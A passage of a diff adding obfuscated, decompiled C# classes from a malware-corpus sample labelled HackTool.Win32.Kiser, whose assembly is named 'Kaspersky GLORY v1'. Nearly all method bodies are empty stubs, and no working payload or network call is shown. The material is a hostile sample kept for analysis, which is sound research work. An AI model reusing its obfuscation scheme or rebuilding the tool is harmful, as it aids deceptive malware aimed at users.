+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ix45rlsNMY1IvVnMtBD([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void vPuD0BsvQXIgIv9Bunm([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0032Mnxoys5syiA2Z1xWVW([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void almGJAsqqiHHJMvhEyI([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void DHC3t9sG762WKCdKmDU([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void uGhZpjsuPreGsXYQrJX([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0039sNJyGsIcSpoagh2jDl([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void p0qZREsoiptnmwiEXyU([In] object obj0, [In] object obj1)
+    {
+    }
+
+    static Kactive() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/Loading.cs

@@ -0,0 +1,306 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.Loading
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using PiDHnfAR7iBcyRY1A4;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows;
+using System.Windows.Forms;
+using System.Windows.Markup;
+
+namespace Kaspersky_GLORY_v1
+{
+  [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
+  [DesignerGenerated]
+  public class Loading : Window, IComponentConnector
+  {
+    [AccessedThroughProperty("myTimer")]
+    private Timer \u0039tjPjswKO;
+    [AccessedThroughProperty("myTimer2")]
+    private Timer \u0038wGy8Btdv;
+    [AccessedThroughProperty("myTimer3")]
+    private Timer HKGk3cGu3;
+    [AccessedThroughProperty("myTimer4")]
+    private Timer \u0034y971Mpj6;
+    [AccessedThroughProperty("ProgressBar1")]
+    private System.Windows.Controls.ProgressBar uiDSJP5K6;
+    [AccessedThroughProperty("Label1")]
+    private System.Windows.Controls.Label \u0037wUA3K5FS;
+    private bool StWuGHvv3;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public Loading()
+    {
+    }
+
+    internal virtual Timer myTimer
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Timer myTimer2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Timer myTimer3
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual Timer myTimer4
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void seWsLuReV([In] object obj0, [In] EventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void uWUfSQC1u([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void CvmOFuRb7([In] object obj0, [In] EventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void ISFmXOES8([In] object obj0, [In] EventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void FleVY7hrK([In] object obj0, [In] EventArgs obj1)
+    {
+    }
+
+    internal virtual System.Windows.Controls.ProgressBar ProgressBar1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ProgressBar) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void InitializeComponent()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Z0dD5EOWJ0OP5vup5f9()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ZjAt7dOl0RXfGnHCA6f([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Vh7JcIOyXw91adwLKKV([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void t5FOPKOpuKaeC7pqFXI([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ADahQsOBPDnZTQpJSIK([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void itXkBjOn5NWCRTYmmyc([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void sWZHhuOArPnOLwowDtL([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void jUrxChOmVjVhc2IRS5Y([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool E8E62COOwmUUmu7MUJZ() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool cY9fCxOQYLcVc9cHhxS() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ZOI8XEOdWJkqqAsiBeR([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void CJs7pZOjudADGeLxqRI([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object kDAfCUOHnwNNA8VCS2O([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static double H2CWUYOkJ6R3o3HNUrt([In] object obj0) => 0.0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void f5YDYpOT1317M5VuuXh([In] object obj0, [In] double obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object aI5e2mOhcVHtIle5GL4([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void xUauJrOE6Kru3L4bFgV([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u0038vDAN4O1k8WyRtJEgZb([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ivMhF0O9QFowmxYmXTG([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object fLqNYfOwmLpq2WZKthH([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void S9Vb3TOCZT1TUNujAYE([In] object obj0, [In] int obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void SANT0LO69hqajObCWLv([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object ZxnEI4OeU33iAjl8tbG([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object P2mqmFOVrt6u95xVAtx([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u0033N2nISOtfpXcNAD2xT1([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object trmVwFOUtIeqfUx7cAr() => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u0039XPW3wObRIBJAn9spuB([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object dh7fMLOPKjR1lT7fdqp([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object FHpZNVOrJonahhu9ZYx([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object sOPJQOOc5TsKy7GkopL([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static int wy64ytOSY4xfQMeLXww([In] object obj0, [In] object obj1, [In] bool obj2) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void YBob86OLToVsl9Mchxo([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static MsgBoxResult X2sWgWOgvRBksPporZn(
+      [In] object obj0,
+      [In] MsgBoxStyle obj1,
+      [In] object obj2)
+    {
+      // ISSUE: reference to a compiler-generated field
+      return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl2;
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void k2eu3EOKZkbLJWmqsxc([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void hkNKIEOR5hnUXTMdAf8([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Aak9MZOajepxQkHhXab([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void LGS8kpOFiZq9NshFJvV()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void uSh7ilO0m5VS6I6kFvu([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void bOg8IcO3pMN0jZjXpsK([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0031aGBiCO8K8krynh8wuS([In] object obj0, [In] object obj1)
+    {
+    }
+
+    static Loading() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/MainWindow.cs

@@ -0,0 +1,377 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.MainWindow
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using PiDHnfAR7iBcyRY1A4;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows;
+using System.Windows.Forms;
+using System.Windows.Input;
+using System.Windows.Markup;
+
+namespace Kaspersky_GLORY_v1
+{
+  [DesignerGenerated]
+  [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
+  public class MainWindow : Window, IComponentConnector
+  {
+    [AccessedThroughProperty("myTimer")]
+    private Timer SsvY5ygtY;
+    [AccessedThroughProperty("Label1")]
+    private System.Windows.Controls.Label \u0038xXCMRTUE;
+    [AccessedThroughProperty("Label2")]
+    private System.Windows.Controls.Label Mnd0ODixC;
+    [AccessedThroughProperty("Label3")]
+    private System.Windows.Controls.Label a6BHg7aZl;
+    [AccessedThroughProperty("Label4")]
+    private System.Windows.Controls.Label \u00305iRvC3Dw;
+    [AccessedThroughProperty("Label5")]
+    private System.Windows.Controls.Label RVCQ5y8jV;
+    [AccessedThroughProperty("Label6")]
+    private System.Windows.Controls.Label iAVvjewXZ;
+    [AccessedThroughProperty("Label7")]
+    private System.Windows.Controls.Label \u0032I7wPSnFY;
+    private bool lMbr5OMgD;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public MainWindow()
+    {
+    }
+
+    internal virtual Timer myTimer
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void seWsLuReV([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void uWUfSQC1u([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void CvmOFuRb7([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void ISFmXOES8([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void FleVY7hrK([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0039tjPjswKO([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0038wGy8Btdv([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void HKGk3cGu3([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0034y971Mpj6([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void uiDSJP5K6([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
+    private void \u0037wUA3K5FS([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void StWuGHvv3([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void iepZybAkM([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void TJfGoS1Nc([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void JGRWDvPW7([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0032dt8e7deR([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void H10jte8fr([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    internal virtual System.Windows.Controls.Label Label1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label3
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label4
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label5
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label6
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label7
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void InitializeComponent()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void dUM8fNOiHoUR8ck46dd()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void aj4TFUO7ZrC5yVcItrq([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ZFlcCXOXa7uekLqYcoG([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void IoltI9OYLGVZRrNODFV([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void v9CFymODsZJ8w1gtmxc([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ZaYsBZOZ6gIIIc1TFD6([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool iaJ8ZqOMEotnXeeXSBI() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool x9CQEfOJ7I3jep1jtHJ() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object InvM4VO2yBnVmqZrk4B([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object tsUqx8O4BUA1IMsY3Tm([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool EklPP2ON9dISVxZVnTx([In] object obj0, [In] object obj1, [In] bool obj2) => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object Lo6WMIOvnmA56HWdWX1([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void kkwDj1O5wQRipCZpyrZ([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object SpdgofOqQXbaK8wo3JQ([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object joZcNiOGFiyaPjYgxAO([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object vvegA9Ou60g13W6qi9O([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object jHU7QtOINrRNu2qO7P9([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object h4DTOKOoITEi77hkiFg([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void QCocEfOzeviOXPay3eA([In] object obj0, [In] double obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object Pm8KtlQx6ZnSP5wgI0b([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object CFGUoBQsclqwNu9Gk4Y([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object lvnqibQf5rElKd98gJF([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object rjmEAmQOKTD3oftgnKF([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void nI8o8iQQqRrtZ9RyN61([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void TjxV8jQWfEeiu3aLX1X()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Dg9trcQlZH7C9KZvMEl([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void v9uh9hQyUB79tlmPtS9([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void EmmdxOQpg3CRK1hX2uV([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void L6DBs1QBoUgKAV307EK([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void arA65fQnM5xyLnnmNia([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u00364cFNXQA5J4YD7kdBe1([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ZT6Z6JQmSMkaVk5fagE([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0033HGmEXQdYMExs2wxEjQ([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Clw6iKQjv7gyTxlK6X8([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void MP1xpjQHWE1ajSojVT0([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void iMTNbnQksGEuwHcq0us([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void CqFkeVQT1q7DoxelD0c([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Fs5E3rQhnCRMoljnW4x([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void KlYVS0QESQJtIF0c4mR([In] object obj0, [In] object obj1)
+    {
+    }
+
+    static MainWindow() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/My/MySettingsProperty.cs

@@ -0,0 +1,33 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.My.MySettingsProperty
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using PiDHnfAR7iBcyRY1A4;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace Kaspersky_GLORY_v1.My
+{
+  [StandardModule]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  [CompilerGenerated]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (MySettings) null;
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object BIgtgvQ7UweT5lalaDu() => (object) null;
+
+    static MySettingsProperty() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/My/Resources/Resources.cs

@@ -0,0 +1,63 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.My.Resources.Resources
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using PiDHnfAR7iBcyRY1A4;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace Kaspersky_GLORY_v1.My.Resources
+{
+  [HideModuleName]
+  [StandardModule]
+  [CompilerGenerated]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+  [DebuggerNonUserCode]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (ResourceManager) null;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (CultureInfo) null;
+      [MethodImpl(MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool SlUN0pQKg0ejEH6i5G5([In] object obj0, [In] object obj1) => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static RuntimeTypeHandle M0GM2jQR9Cwga9da0nt(int token) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl5;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static Type AQ2h0tQaWJsUqSZy0Gc([In] RuntimeTypeHandle obj0) => (Type) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool \u0031vFI3tQL4rsEioZ0gP7() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool dWq5q6QgZxqURQdU5vX() => true;
+
+    static Resources() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/MySettings.cs

@@ -0,0 +1,64 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.MySettings
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using PiDHnfAR7iBcyRY1A4;
